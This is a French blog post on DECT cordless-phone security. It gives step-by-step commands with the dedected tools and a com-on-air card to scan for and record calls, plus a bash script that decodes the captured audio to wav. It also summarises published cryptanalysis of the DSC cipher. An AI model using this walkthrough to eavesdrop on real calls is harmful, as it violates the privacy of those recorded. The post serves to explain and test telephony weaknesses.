DECT 5 ans après…

DECT 5 ans après…

Voilà pas mal de temps déjà (2008-2009) que l’on est au courant du faible niveau de sécurité de la téléphonie DECT, principale norme utilisée dans la téléphonie fixe. Où en est la sécurité 5 ans après …?

Pour rappel, DECT (Digital Enhanced Cordless Telephone: Téléphone sans-fil numérique amélioré) est une norme de téléphonie sans-fil numérique destinée aux particuliers comme aux entreprises.
Opérant sur la gamme de fréquence 1 880 à 1 900 MHz (micro-ondes)

sp_dect

Pour pouvoir interagir avec les appels DECT, il faut donc posséder un matériel capable d’envoyer/recevoir sur ces bandes de fréquences. Par chance, on peut encore trouver des adaptateurs DECT PCMCIA com-on-air sur ebay (ils ne sont plus fabriqués par la société allemande qui a fait faillite semble-t-il).

com-on-air-pcmcia-type2-1-small

Conjointement, le site dedected.org diffuse une suite d’outils très simple à utiliser et qui permettent de tester la sécurité de son réseau téléphonique.

En effet, après avoir récupérer la suite d’outils du svn :


svn co https://dedected.org/svn/trunk dedected

Après avoir suivi les instructions de build de l’application, il suffit de lancer l’éxécutable:


cd /pentest/telephony/dedected/com-on-air_cs-linux
$ ./dect_cli

On dispose ensuite d’un shell qui permet d’inter agir avec le driver DECT modifié et accéder à ses fonctionnalités:


> Verb
> Fpscan
# Attendre 2 à 3 minutes le temps de scan des canaux
> Verb
> stop

Pour écouter un téléphone particuler:


Callscan

Puis, pour lancer un enregistrement, il suffit de lancer la commande suivante:


> autorec

Lors d’une écoute, on voit les appels lancés.
Ensuite, notre serveur tente de se synchroniser avec le DECT (étape sync); une fois la synchronisation OK, la suite de l’écoute est enregistrée.
La phase de synchronisation peut prendre du temps.


#!/bin/bash
# decode.sh: script de conversion automatique des fichiers audio capturés
#
SOX=/usr/bin/sox
for i in `/bin/ls -1 *.pcap` ;
do ./pcapstein $i
done

#decoder for g.721
for i in *.ima ; do
cat $i | ./decode-g72x -4 -a | sox -r 8000 -1 -c 1 -A -t raw – -t wav $i.g721.wav;
done

#decoder for g.726.R
for i in *.ima ; do
cat $i | ./decode-g72x -64 -l -R | sox -r 8000 -2 -c 1 -s -t raw – -t wav $i.g726.R.wav;
done

#decoder for g.726.L
for i in *.ima ; do
cat $i | ./decode-g72x -64 -l -L | sox -r 8000 -2 -c 1 -s -t raw – -t wav $i.g726.L.wav;
done

Suite au lancement du script, les fichiers .wav sont alors disponibles. Il suffit de lire ceux finissant par g721.wav avec un lecteur multimédia.

Comme cela avait été dit à l’époque, le DECT de base n’offre presque aucune sécurité: n’importe qui avec un minimum de connaissance technique et un minimum de matériel est capable d’écouter les conversations DECT très simplement.

La seule parade sérieuse est d’utiliser du chiffrement. C’est d’ailleurs dans cette optique qu’ont été définis les standard DSC « DECT Standard Cipher » et DSAA « DECT Standard Authentication Algorithm », algorithmes propriétaires de chiffrement de flux et d’authentification respectivement.
Pour les entreprises, dont les besoins en sécurité sont naturellement plus importants que les particuliers, l’utilisation systématique de ces standards cryptographiques est fortement recommandée.

Soucieuse de la confidentialité des informations qui s’échangent en son sein et souhaitant bien faire, une société décide de suivre les recommandations des fabricants et d’utiliser les moyens cryptographiques mis à disposition. Qu’en est-il de la sécurité de ses communications ? Est-elle à l’abri des attaques précédentes ?
C’est la question a laquelle ont tâché de répondre une équipe de chercheurs en effectuant la cryptanalyse de DSAA + DSC.

Cryptanalysis of the DECT Standard Cipher
Ce papier explique comment, grâce à la rétro-ingéniérie de l’implémentation matérielle de ces algorithmes de cryptographie, ils ont pu reconstituer une implémentation en C des algorithmes précédents. Grâce à cela, ils ont pu dans un deuxième temps, effectuer la cryptanalyse de ce code.

Pour résumer, les codecs audio utilisés par DECT génèrent de longues suites de bits à 1 lors de silences. En utilisant cette propriété ainsi qu’en capturant suffisamments de données, il est possible de retrouver la clé de chiffrement avec un taux de réussite de 50 % en seulement quelques heures de calculs CPU, encore moins si on utilise un GPU avec une API CUDA !

Pour conclure, la tentative de sécuriser DECT en utilisant des algorithmes de chiffrements propriétaires est un échec. Encore une fois, c’est une belle synthèse des problèmes inhérents à la sécurité par l’obscurité…